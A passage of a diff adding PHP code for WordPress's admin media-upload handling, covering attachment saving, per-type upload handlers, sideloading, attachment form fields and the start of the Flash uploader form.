+	$errors = null;
+
+	if ( isset($_POST['send']) ) {
+		$keys = array_keys($_POST['send']);
+		$send_id = (int) array_shift($keys);
+	}
+
+	if ( !empty($_POST['attachments']) ) foreach ( $_POST['attachments'] as $attachment_id => $attachment ) {
+		$post = $_post = get_post($attachment_id, ARRAY_A);
+		if ( isset($attachment['post_content']) )
+			$post['post_content'] = $attachment['post_content'];
+		if ( isset($attachment['post_title']) )
+			$post['post_title'] = $attachment['post_title'];
+		if ( isset($attachment['post_excerpt']) )
+			$post['post_excerpt'] = $attachment['post_excerpt'];
+		if ( isset($attachment['menu_order']) )
+			$post['menu_order'] = $attachment['menu_order'];
+
+		if ( isset($send_id) && $attachment_id == $send_id ) {
+			if ( isset($attachment['post_parent']) )
+				$post['post_parent'] = $attachment['post_parent'];
+		}
+
+		$post = apply_filters('attachment_fields_to_save', $post, $attachment);
+
+		if ( isset($post['errors']) ) {
+			$errors[$attachment_id] = $post['errors'];
+			unset($post['errors']);
+		}
+
+		if ( $post != $_post )
+			wp_update_post($post);
+
+		foreach ( get_attachment_taxonomies($post) as $t )
+			if ( isset($attachment[$t]) )
+				wp_set_object_terms($attachment_id, array_map('trim', preg_split('/,+/', $attachment[$t])), $t, false);
+	}
+
+	if ( isset($_POST['insert-gallery']) || isset($_POST['update-gallery']) ) { ?>
+		<script type="text/javascript">
+		/* <![CDATA[ */
+		var win = window.dialogArguments || opener || parent || top;
+		win.tb_remove();
+		/* ]]> */
+		</script>
+		<?php
+		exit;
+	}
+
+	if ( isset($send_id) ) {
+		$attachment = stripslashes_deep( $_POST['attachments'][$send_id] );
+
+		$html = $attachment['post_title'];
+		if ( !empty($attachment['url']) ) {
+			if ( strpos($attachment['url'], 'attachment_id') || false !== strpos($attachment['url'], get_permalink($_POST['post_id'])) )
+				$rel = " rel='attachment wp-att-" . esc_attr($send_id)."'";
+			$html = "<a href='{$attachment['url']}'$rel>$html</a>";
+		}
+
+		$html = apply_filters('media_send_to_editor', $html, $send_id, $attachment);
+		return media_send_to_editor($html);
+	}
+
+	return $errors;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function media_upload_image() {
+	$errors = array();
+	$id = 0;
+
+	if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
+		// Upload File button was clicked
+		$id = media_handle_upload('async-upload', $_REQUEST['post_id']);
+		unset($_FILES);
+		if ( is_wp_error($id) ) {
+			$errors['upload_error'] = $id;
+			$id = false;
+		}
+	}
+
+	if ( !empty($_POST['insertonlybutton']) ) {
+		$src = $_POST['insertonly']['src'];
+		if ( !empty($src) && !strpos($src, '://') )
+			$src = "http://$src";
+		$alt = esc_attr($_POST['insertonly']['alt']);
+		if ( isset($_POST['insertonly']['align']) ) {
+			$align = esc_attr($_POST['insertonly']['align']);
+			$class = " class='align$align'";
+		}
+		if ( !empty($src) )
+			$html = "<img src='$src' alt='$alt'$class />";
+		$html = apply_filters('image_send_to_editor_url', $html, $src, $alt, $align);
+		return media_send_to_editor($html);
+	}
+
+	if ( !empty($_POST) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	if ( isset($_POST['save']) ) {
+		$errors['upload_notice'] = __('Saved.');
+		return media_upload_gallery();
+	}
+
+	if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' )
+		return wp_iframe( 'media_upload_type_url_form', 'image', $errors, $id );
+
+	return wp_iframe( 'media_upload_type_form', 'image', $errors, $id );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $file
+ * @param unknown_type $post_id
+ * @param unknown_type $desc
+ * @return unknown
+ */
+function media_sideload_image($file, $post_id, $desc = null) {
+	if (!empty($file) ) {
+		$file_array['name'] = basename($file);
+		$tmp = download_url($file);
+		$file_array['tmp_name'] = $tmp;
+		$desc = @$desc;
+
+		if ( is_wp_error($tmp) ) {
+			@unlink($file_array['tmp_name']);
+			$file_array['tmp_name'] = '';
+		}
+
+		$id = media_handle_sideload($file_array, $post_id, $desc);
+		$src = $id;
+
+		if ( is_wp_error($id) ) {
+			@unlink($file_array['tmp_name']);
+			return $id;
+		}
+	}
+
+	if ( !empty($src) ) {
+		$alt = @$desc;
+		$html = "<img src='$src' alt='$alt' />";
+		return $html;
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function media_upload_audio() {
+	$errors = array();
+	$id = 0;
+
+	if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
+		// Upload File button was clicked
+		$id = media_handle_upload('async-upload', $_REQUEST['post_id']);
+		unset($_FILES);
+		if ( is_wp_error($id) ) {
+			$errors['upload_error'] = $id;
+			$id = false;
+		}
+	}
+
+	if ( !empty($_POST['insertonlybutton']) ) {
+		$href = $_POST['insertonly']['href'];
+		if ( !empty($href) && !strpos($href, '://') )
+			$href = "http://$href";
+		$title = esc_attr($_POST['insertonly']['title']);
+		if ( empty($title) )
+			$title = basename($href);
+		if ( !empty($title) && !empty($href) )
+			$html = "<a href='$href' >$title</a>";
+		$html = apply_filters('audio_send_to_editor_url', $html, $href, $title);
+		return media_send_to_editor($html);
+	}
+
+	if ( !empty($_POST) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	if ( isset($_POST['save']) ) {
+		$errors['upload_notice'] = __('Saved.');
+		return media_upload_gallery();
+	}
+
+	if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' )
+		return wp_iframe( 'media_upload_type_url_form', 'audio', $errors, $id );
+
+	return wp_iframe( 'media_upload_type_form', 'audio', $errors, $id );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function media_upload_video() {
+	$errors = array();
+	$id = 0;
+
+	if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
+		// Upload File button was clicked
+		$id = media_handle_upload('async-upload', $_REQUEST['post_id']);
+		unset($_FILES);
+		if ( is_wp_error($id) ) {
+			$errors['upload_error'] = $id;
+			$id = false;
+		}
+	}
+
+	if ( !empty($_POST['insertonlybutton']) ) {
+		$href = $_POST['insertonly']['href'];
+		if ( !empty($href) && !strpos($href, '://') )
+			$href = "http://$href";
+		$title = esc_attr($_POST['insertonly']['title']);
+		if ( empty($title) )
+			$title = basename($href);
+		if ( !empty($title) && !empty($href) )
+			$html = "<a href='$href' >$title</a>";
+		$html = apply_filters('video_send_to_editor_url', $html, $href, $title);
+		return media_send_to_editor($html);
+	}
+
+	if ( !empty($_POST) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	if ( isset($_POST['save']) ) {
+		$errors['upload_notice'] = __('Saved.');
+		return media_upload_gallery();
+	}
+
+	if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' )
+		return wp_iframe( 'media_upload_type_url_form', 'video', $errors, $id );
+
+	return wp_iframe( 'media_upload_type_form', 'video', $errors, $id );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function media_upload_file() {
+	$errors = array();
+	$id = 0;
+
+	if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
+		// Upload File button was clicked
+		$id = media_handle_upload('async-upload', $_REQUEST['post_id']);
+		unset($_FILES);
+		if ( is_wp_error($id) ) {
+			$errors['upload_error'] = $id;
+			$id = false;
+		}
+	}
+
+	if ( !empty($_POST['insertonlybutton']) ) {
+		$href = $_POST['insertonly']['href'];
+		if ( !empty($href) && !strpos($href, '://') )
+			$href = "http://$href";
+		$title = esc_attr($_POST['insertonly']['title']);
+		if ( empty($title) )
+			$title = basename($href);
+		if ( !empty($title) && !empty($href) )
+			$html = "<a href='$href' >$title</a>";
+		$html = apply_filters('file_send_to_editor_url', $html, $href, $title);
+		return media_send_to_editor($html);
+	}
+
+	if ( !empty($_POST) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	if ( isset($_POST['save']) ) {
+		$errors['upload_notice'] = __('Saved.');
+		return media_upload_gallery();
+	}
+
+	if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' )
+		return wp_iframe( 'media_upload_type_url_form', 'file', $errors, $id );
+
+	return wp_iframe( 'media_upload_type_form', 'file', $errors, $id );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function media_upload_gallery() {
+	$errors = array();
+
+	if ( !empty($_POST) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	wp_enqueue_script('admin-gallery');
+	return wp_iframe( 'media_upload_gallery_form', $errors );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function media_upload_library() {
+	$errors = array();
+	if ( !empty($_POST) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	return wp_iframe( 'media_upload_library_form', $errors );
+}
+
+/**
+ * Retrieve HTML for the image alignment radio buttons with the specified one checked.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post
+ * @param unknown_type $checked
+ * @return unknown
+ */
+function image_align_input_fields( $post, $checked = '' ) {
+
+	$alignments = array('none' => __('None'), 'left' => __('Left'), 'center' => __('Center'), 'right' => __('Right'));
+	if ( !array_key_exists( (string) $checked, $alignments ) )
+		$checked = 'none';
+
+	$out = array();
+	foreach ($alignments as $name => $label) {
+		$name = esc_attr($name);
+		$out[] = "<input type='radio' name='attachments[{$post->ID}][align]' id='image-align-{$name}-{$post->ID}' value='$name'".
+		 	( $checked == $name ? " checked='checked'" : "" ) .
+			" /><label for='image-align-{$name}-{$post->ID}' class='align image-align-{$name}-label'>" . $label . "</label>";
+	}
+	return join("\n", $out);
+}
+
+/**
+ * Retrieve HTML for the size radio buttons with the specified one checked.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post
+ * @param unknown_type $checked
+ * @return unknown
+ */
+function image_size_input_fields( $post, $checked = '' ) {
+
+		// get a list of the actual pixel dimensions of each possible intermediate version of this image
+		$size_names = array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full size'));
+
+		foreach ( $size_names as $size => $name ) {
+			$downsize = image_downsize($post->ID, $size);
+
+			// is this size selectable?
+			$enabled = ( $downsize[3] || 'full' == $size );
+			$css_id = "image-size-{$size}-{$post->ID}";
+			// if this size is the default but that's not available, don't select it
+			if ( $checked && !$enabled )
+				$checked = '';
+			// if $checked was not specified, default to the first available size that's bigger than a thumbnail
+			if ( !$checked && $enabled && 'thumbnail' != $size )
+				$checked = $size;
+
+			$html = "<div class='image-size-item'><input type='radio' ".( $enabled ? '' : "disabled='disabled'")."name='attachments[$post->ID][image-size]' id='{$css_id}' value='{$size}'".( $checked == $size ? " checked='checked'" : '') ." />";
+
+			$html .= "<label for='{$css_id}'>" . __($name). "</label>";
+			// only show the dimensions if that choice is available
+			if ( $enabled )
+				$html .= " <label for='{$css_id}' class='help'>" . sprintf( __("(%d&nbsp;&times;&nbsp;%d)"), $downsize[1], $downsize[2] ). "</label>";
+
+			$html .= '</div>';
+
+			$out[] = $html;
+		}
+
+		return array(
+			'label' => __('Size'),
+			'input' => 'html',
+			'html'  => join("\n", $out),
+		);
+}
+
+/**
+ * Retrieve HTML for the Link URL buttons with the default link type as specified.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post
+ * @param unknown_type $url_type
+ * @return unknown
+ */
+function image_link_input_fields($post, $url_type='') {
+
+	$file = wp_get_attachment_url($post->ID);
+	$link = get_attachment_link($post->ID);
+
+	$url = '';
+	if ( $url_type == 'file' )
+		$url = $file;
+	elseif ( $url_type == 'post' )
+		$url = $link;
+
+	return "<input type='text' class='urlfield' name='attachments[$post->ID][url]' value='" . esc_attr($url) . "' /><br />
+				<button type='button' class='button urlnone' title=''>" . __('None') . "</button>
+				<button type='button' class='button urlfile' title='" . esc_attr($file) . "'>" . __('File URL') . "</button>
+				<button type='button' class='button urlpost' title='" . esc_attr($link) . "'>" . __('Post URL') . "</button>
+";
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $form_fields
+ * @param unknown_type $post
+ * @return unknown
+ */
+function image_attachment_fields_to_edit($form_fields, $post) {
+	if ( substr($post->post_mime_type, 0, 5) == 'image' ) {
+		$form_fields['post_title']['required'] = true;
+		$file = wp_get_attachment_url($post->ID);
+
+		$form_fields['image_url']['value'] = $file;
+
+		$form_fields['post_excerpt']['label'] = __('Caption');
+		$form_fields['post_excerpt']['helps'][] = __('Also used as alternate text for the image');
+
+		$form_fields['post_content']['label'] = __('Description');
+
+		$form_fields['align'] = array(
+			'label' => __('Alignment'),
+			'input' => 'html',
+			'html'  => image_align_input_fields($post, get_option('image_default_align')),
+		);
+
+		$form_fields['image-size'] = image_size_input_fields($post, get_option('image_default_size'));
+	}
+	return $form_fields;
+}
+
+add_filter('attachment_fields_to_edit', 'image_attachment_fields_to_edit', 10, 2);
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $form_fields
+ * @param unknown_type $post
+ * @return unknown
+ */
+function media_single_attachment_fields_to_edit( $form_fields, $post ) {
+	unset($form_fields['url'], $form_fields['align'], $form_fields['image-size']);
+	return $form_fields;
+}
+
+function media_post_single_attachment_fields_to_edit( $form_fields, $post ) {
+	unset($form_fields['image_url']);
+	return $form_fields;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post
+ * @param unknown_type $attachment
+ * @return unknown
+ */
+function image_attachment_fields_to_save($post, $attachment) {
+	if ( substr($post['post_mime_type'], 0, 5) == 'image' ) {
+		if ( strlen(trim($post['post_title'])) == 0 ) {
+			$post['post_title'] = preg_replace('/\.\w+$/', '', basename($post['guid']));
+			$post['errors']['post_title']['errors'][] = __('Empty Title filled from filename.');
+		}
+	}
+
+	return $post;
+}
+
+add_filter('attachment_fields_to_save', 'image_attachment_fields_to_save', 10, 2);
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $html
+ * @param unknown_type $attachment_id
+ * @param unknown_type $attachment
+ * @return unknown
+ */
+function image_media_send_to_editor($html, $attachment_id, $attachment) {
+	$post =& get_post($attachment_id);
+	if ( substr($post->post_mime_type, 0, 5) == 'image' ) {
+		$url = $attachment['url'];
+
+		if ( isset($attachment['align']) )
+			$align = $attachment['align'];
+		else
+			$align = 'none';
+
+		if ( !empty($attachment['image-size']) )
+			$size = $attachment['image-size'];
+		else
+			$size = 'medium';
+
+		$rel = ( $url == get_attachment_link($attachment_id) );
+
+		return get_image_send_to_editor($attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size);
+	}
+
+	return $html;
+}
+
+add_filter('media_send_to_editor', 'image_media_send_to_editor', 10, 3);
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post
+ * @param unknown_type $errors
+ * @return unknown
+ */
+function get_attachment_fields_to_edit($post, $errors = null) {
+	if ( is_int($post) )
+		$post =& get_post($post);
+	if ( is_array($post) )
+		$post = (object) $post;
+
+	$image_url = wp_get_attachment_url($post->ID);
+
+	$edit_post = sanitize_post($post, 'edit');
+
+	$form_fields = array(
+		'post_title'   => array(
+			'label'      => __('Title'),
+			'value'      => $edit_post->post_title,
+		),
+		'post_excerpt' => array(
+			'label'      => __('Caption'),
+			'value'      => $edit_post->post_excerpt,
+		),
+		'post_content' => array(
+			'label'      => __('Description'),
+			'value'      => $edit_post->post_content,
+			'input'      => 'textarea',
+		),
+		'url'          => array(
+			'label'      => __('Link URL'),
+			'input'      => 'html',
+			'html'       => image_link_input_fields($post, get_option('image_default_link_type')),
+			'helps'      => __('Enter a link URL or click above for presets.'),
+		),
+		'menu_order'   => array(
+			'label'      => __('Order'),
+			'value'      => $edit_post->menu_order
+		),
+		'image_url'	=> array(
+			'label'      => __('File URL'),
+			'input'      => 'html',
+			'html'       => "<input type='text' class='urlfield' readonly='readonly' name='attachments[$post->ID][url]' value='" . esc_attr($image_url) . "' /><br />",
+			'value'      => isset($edit_post->post_url) ? $edit_post->post_url : '',
+			'helps'      => __('Location of the uploaded file.'),
+		)
+	);
+
+	foreach ( get_attachment_taxonomies($post) as $taxonomy ) {
+		$t = (array) get_taxonomy($taxonomy);
+		if ( empty($t['label']) )
+			$t['label'] = $taxonomy;
+		if ( empty($t['args']) )
+			$t['args'] = array();
+
+		$terms = get_object_term_cache($post->ID, $taxonomy);
+		if ( empty($terms) )
+			$terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']);
+
+		$values = array();
+
+		foreach ( $terms as $term )
+			$values[] = $term->name;
+		$t['value'] = join(', ', $values);
+
+		$form_fields[$taxonomy] = $t;
+	}
+
+	// Merge default fields with their errors, so any key passed with the error (e.g. 'error', 'helps', 'value') will replace the default
+	// The recursive merge is easily traversed with array casting: foreach( (array) $things as $thing )
+	$form_fields = array_merge_recursive($form_fields, (array) $errors);
+
+	$form_fields = apply_filters('attachment_fields_to_edit', $form_fields, $post);
+
+	return $form_fields;
+}
+
+/**
+ * Retrieve HTML for media items of post gallery.
+ *
+ * The HTML markup retrieved will be created for the progress of SWF Upload
+ * component. Will also create link for showing and hiding the form to modify
+ * the image attachment.
+ *
+ * @since unknown
+ *
+ * @param int $post_id Optional. Post ID.
+ * @param array $errors Errors for attachment, if any.
+ * @return string
+ */
+function get_media_items( $post_id, $errors ) {
+	if ( $post_id ) {
+		$post = get_post($post_id);
+		if ( $post && $post->post_type == 'attachment' )
+			$attachments = array($post->ID => $post);
+		else
+			$attachments = get_children( array( 'post_parent' => $post_id, 'post_type' => 'attachment', 'orderby' => 'menu_order ASC, ID', 'order' => 'DESC') );
+	} else {
+		if ( is_array($GLOBALS['wp_the_query']->posts) )
+			foreach ( $GLOBALS['wp_the_query']->posts as $attachment )
+				$attachments[$attachment->ID] = $attachment;
+	}
+
+	$output = '';
+	foreach ( (array) $attachments as $id => $attachment )
+		if ( $item = get_media_item( $id, array( 'errors' => isset($errors[$id]) ? $errors[$id] : null) ) )
+			$output .= "\n<div id='media-item-$id' class='media-item child-of-$attachment->post_parent preloaded'><div class='progress'><div class='bar'></div></div><div id='media-upload-error-$id'></div><div class='filename'></div>$item\n</div>";
+
+	return $output;
+}
+
+/**
+ * Retrieve HTML form for modifying the image attachment.
+ *
+ * @since unknown
+ *
+ * @param int $attachment_id Attachment ID for modification.
+ * @param string|array $args Optional. Override defaults.
+ * @return string HTML form for attachment.
+ */
+function get_media_item( $attachment_id, $args = null ) {
+	global $redir_tab;
+
+	$default_args = array( 'errors' => null, 'send' => true, 'delete' => true, 'toggle' => true, 'show_title' => true );
+	$args = wp_parse_args( $args, $default_args );
+	extract( $args, EXTR_SKIP );
+
+	global $post_mime_types;
+	if ( ( $attachment_id = intval($attachment_id) ) && $thumb_url = get_attachment_icon_src( $attachment_id ) )
+		$thumb_url = $thumb_url[0];
+	else
+		return false;
+
+	$toggle_on = __('Show');
+	$toggle_off = __('Hide');
+
+	$post = get_post($attachment_id);
+
+	$filename = basename($post->guid);
+	$title = esc_attr($post->post_title);
+
+	if ( $_tags = get_the_tags($attachment_id) ) {
+		foreach ( $_tags as $tag )
+			$tags[] = $tag->name;
+		$tags = esc_attr(join(', ', $tags));
+	}
+
+	$type = '';
+	if ( isset($post_mime_types) ) {
+		$keys = array_keys(wp_match_mime_types(array_keys($post_mime_types), $post->post_mime_type));
+		$type = array_shift($keys);
+		$type = "<input type='hidden' id='type-of-$attachment_id' value='" . esc_attr( $type ) . "' />";
+	}
+
+	$form_fields = get_attachment_fields_to_edit($post, $errors);
+
+	if ( $toggle ) {
+		$class = empty($errors) ? 'startclosed' : 'startopen';
+		$toggle_links = "
+	<a class='toggle describe-toggle-on' href='#'>$toggle_on</a>
+	<a class='toggle describe-toggle-off' href='#'>$toggle_off</a>";
+	} else {
+		$class = 'form-table';
+		$toggle_links = '';
+	}
+
+	$display_title = ( !empty( $title ) ) ? $title : $filename; // $title shouldn't ever be empty, but just in case
+	$display_title = $show_title ? "<div class='filename new'>" . wp_html_excerpt($display_title, 60) . "</div>" : '';
+
+	$gallery = ( (isset($_REQUEST['tab']) && 'gallery' == $_REQUEST['tab']) || (isset($redir_tab) && 'gallery' == $redir_tab) ) ? true : false;
+	$order = '';
+
+	foreach ( $form_fields as $key => $val ) {
+		if ( 'menu_order' == $key ) {
+			if ( $gallery )
+				$order = '<div class="menu_order"> <input class="menu_order_input" type="text" id="attachments['.$attachment_id.'][menu_order]" name="attachments['.$attachment_id.'][menu_order]" value="'.$val['value'].'" /></div>';
+			else
+				$order = '<input type="hidden" name="attachments['.$attachment_id.'][menu_order]" value="'.$val['value'].'" />';
+
+			unset($form_fields['menu_order']);
+			break;
+		}
+	}
+
+	$item = "
+	$type
+	$toggle_links
+	$order
+	$display_title
+	<table class='slidetoggle describe $class'>
+		<thead class='media-item-info'>
+		<tr>
+			<td class='A1B1' rowspan='4'><img class='thumbnail' src='$thumb_url' alt='' /></td>
+			<td>$filename</td>
+		</tr>
+		<tr><td>$post->post_mime_type</td></tr>
+		<tr><td>" . mysql2date($post->post_date, get_option('time_format')) . "</td></tr>
+		<tr><td>" . apply_filters('media_meta', '', $post) . "</td></tr>
+		</thead>
+		<tbody>\n";
+
+	$defaults = array(
+		'input'      => 'text',
+		'required'   => false,
+		'value'      => '',
+		'extra_rows' => array(),
+	);
+
+	$delete_href = wp_nonce_url("post.php?action=delete-post&amp;post=$attachment_id", 'delete-post_' . $attachment_id);
+	if ( $send )
+		$send = "<input type='submit' class='button' name='send[$attachment_id]' value='" . esc_attr__( 'Insert into Post' ) . "' />";
+	if ( $delete )
+		$delete = "<a href=\"#\" class=\"del-link\" onclick=\"document.getElementById('del_attachment_$attachment_id').style.display='block';return false;\">" . __('Delete') . "</a>";
+	if ( ( $send || $delete ) && !isset($form_fields['buttons']) )
+		$form_fields['buttons'] = array('tr' => "\t\t<tr class='submit'><td></td><td class='savesend'>$send $delete
+		<div id=\"del_attachment_$attachment_id\" class=\"del-attachment\" style=\"display:none;\">" . sprintf(__("You are about to delete <strong>%s</strong>."), $filename) . " <a href=\"$delete_href\" id=\"del[$attachment_id]\" class=\"delete\">" . __('Continue') . "</a>
+		<a href=\"#\" class=\"del-link\" onclick=\"this.parentNode.style.display='none';return false;\">" . __('Cancel') . "</a></div></td></tr>\n");
+
+	$hidden_fields = array();
+
+	foreach ( $form_fields as $id => $field ) {
+		if ( $id{0} == '_' )
+			continue;
+
+		if ( !empty($field['tr']) ) {
+			$item .= $field['tr'];
+			continue;
+		}
+
+		$field = array_merge($defaults, $field);
+		$name = "attachments[$attachment_id][$id]";
+
+		if ( $field['input'] == 'hidden' ) {
+			$hidden_fields[$name] = $field['value'];
+			continue;
+		}
+
+		$required = $field['required'] ? '<abbr title="required" class="required">*</abbr>' : '';
+		$aria_required = $field['required'] ? " aria-required='true' " : '';
+		$class  = $id;
+		$class .= $field['required'] ? ' form-required' : '';
+
+		$item .= "\t\t<tr class='$class'>\n\t\t\t<th valign='top' scope='row' class='label'><label for='$name'><span class='alignleft'>{$field['label']}</span><span class='alignright'>$required</span><br class='clear' /></label></th>\n\t\t\t<td class='field'>";
+		if ( !empty($field[$field['input']]) )
+			$item .= $field[$field['input']];
+		elseif ( $field['input'] == 'textarea' ) {
+			$item .= "<textarea type='text' id='$name' name='$name'" . $aria_required . ">" . esc_html( $field['value'] ) . "</textarea>";
+		} else {
+			$item .= "<input type='text' id='$name' name='$name' value='" . esc_attr( $field['value'] ) . "'" . $aria_required . "/>";
+		}
+		if ( !empty($field['helps']) )
+			$item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique((array) $field['helps']) ) . '</p>';
+		$item .= "</td>\n\t\t</tr>\n";
+
+		$extra_rows = array();
+
+		if ( !empty($field['errors']) )
+			foreach ( array_unique((array) $field['errors']) as $error )
+				$extra_rows['error'][] = $error;
+
+		if ( !empty($field['extra_rows']) )
+			foreach ( $field['extra_rows'] as $class => $rows )
+				foreach ( (array) $rows as $html )
+					$extra_rows[$class][] = $html;
+
+		foreach ( $extra_rows as $class => $rows )
+			foreach ( $rows as $html )
+				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
+	}
+
+	if ( !empty($form_fields['_final']) )
+		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
+	$item .= "\t</tbody>\n";
+	$item .= "\t</table>\n";
+
+	foreach ( $hidden_fields as $name => $value )
+		$item .= "\t<input type='hidden' name='$name' id='$name' value='" . esc_attr( $value ) . "' />\n";
+
+	if ( $post->post_parent < 1 && isset($_REQUEST['post_id']) ) {
+		$parent = (int) $_REQUEST['post_id'];
+		$parent_name = "attachments[$attachment_id][post_parent]";
+
+		$item .= "\t<input type='hidden' name='$parent_name' id='$parent_name' value='" . $parent . "' />\n";
+	}
+
+	return $item;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function media_upload_header() {
+	?>
+	<script type="text/javascript">post_id = <?php echo intval($_REQUEST['post_id']); ?>;</script>
+	<div id="media-upload-header">
+	<?php the_media_upload_tabs(); ?>
+	</div>
+	<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $errors
+ */
+function media_upload_form( $errors = null ) {
+	global $type, $tab;
+
+	$flash_action_url = admin_url('async-upload.php');
+
+	// If Mac and mod_security, no Flash. :(
+	$flash = true;
+	if ( false !== strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'mac') && apache_mod_loaded('mod_security') )
+		$flash = false;
+
+	$flash = apply_filters('flash_uploader', $flash);
+	$post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
+
+?>
+<script type="text/javascript">
+//<![CDATA[
+var uploaderMode = 0;
+jQuery(document).ready(function($){
+	uploaderMode = getUserSetting('uploader');
+	$('.upload-html-bypass a').click(function(){deleteUserSetting('uploader');uploaderMode=0;swfuploadPreLoad();return false;});
+	$('.upload-flash-bypass a').click(function(){setUserSetting('uploader', '1');uploaderMode=1;swfuploadPreLoad();return false;});
+});
+//]]>
+</script>
+<div id="media-upload-notice">
+<?php if (isset($errors['upload_notice']) ) { ?>
+	<?php echo $errors['upload_notice']; ?>
+<?php } ?>
+</div>
+<div id="media-upload-error">
+<?php if (isset($errors['upload_error']) && is_wp_error($errors['upload_error'])) { ?>
+	<?php echo $errors['upload_error']->get_error_message(); ?>
+<?php } ?>
+</div>
+
+<?php do_action('pre-upload-ui'); ?>
+
+<?php if ( $flash ) : ?>
+<script type="text/javascript">
+//<![CDATA[
+var swfu;
+SWFUpload.onload = function() {
+	var settings = {
+			button_text: '<span class="button"><?php _e('Select Files'); ?></span>',
+			button_text_style: '.button { text-align: center; font-weight: bold; font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif; }',
+			button_height: "24",
+			button_width: "132",
+			button_text_top_padding: 2,
+			button_image_url: '<?php echo includes_url('images/upload.png'); ?>',
+			button_placeholder_id: "flash-browse-button",
+			upload_url : "<?php echo esc_attr( $flash_action_url ); ?>",
+			flash_url : "<?php echo includes_url('js/swfupload/swfupload.swf'); ?>",
+			file_post_name: "async-upload",
+			file_types: "<?php echo apply_filters('upload_file_glob', '*.*'); ?>",
+			post_params : {
+				"post_id" : "<?php echo $post_id; ?>",
+				"auth_cookie" : "<?php if ( is_ssl() ) echo $_COOKIE[SECURE_AUTH_COOKIE]; else echo $_COOKIE[AUTH_COOKIE]; ?>",
+				"_wpnonce" : "<?php echo wp_create_nonce('media-form'); ?>",
+				"type" : "<?php echo $type; ?>",
+				"tab" : "<?php echo $tab; ?>",
+				"short" : "1"
+			},
+			file_size_limit : "<?php echo wp_max_upload_size(); ?>b",
+			file_dialog_start_handler : fileDialogStart,
+			file_queued_handler : fileQueued,
+			upload_start_handler : uploadStart,
+			upload_progress_handler : uploadProgress,
+			upload_error_handler : uploadError,
+			upload_success_handler : uploadSuccess,
+			upload_complete_handler : uploadComplete,
+			file_queue_error_handler : fileQueueError,
+			file_dialog_complete_handler : fileDialogComplete,
+			swfupload_pre_load_handler: swfuploadPreLoad,
+			swfupload_load_failed_handler: swfuploadLoadFailed,
+			custom_settings : {
+				degraded_element_id : "html-upload-ui", // id of the element displayed when swfupload is unavailable
+				swfupload_element_id : "flash-upload-ui" // id of the element displayed when swfupload is available
+			},
+			debug: false
+		};
+		swfu = new SWFUpload(settings);
+};
+//]]>
+</script>
+
+<div id="flash-upload-ui">
+<?php do_action('pre-flash-upload-ui'); ?>
+
+	<div>
+	<?php _e( 'Choose files to upload' ); ?>
+	<div id="flash-browse-button"></div>
+	<span><input id="cancel-upload" disabled="disabled" onclick="cancelUpload()" type="button" value="<?php esc_attr_e('Cancel Upload'); ?>" class="button" /></span>
+	</div>
+<?php do_action('post-flash-upload-ui'); ?>
+	<p class="howto"><?php _e('After a file has been uploaded, you can add titles and descriptions.'); ?></p>
+</div>
+<?php endif; // $flash ?>
+
+<div id="html-upload-ui">
+<?php do_action('pre-html-upload-ui'); ?>
+	<p id="async-upload-wrap">
+	<label class="screen-reader-text" for="async-upload"><?php _e('Upload'); ?></label>
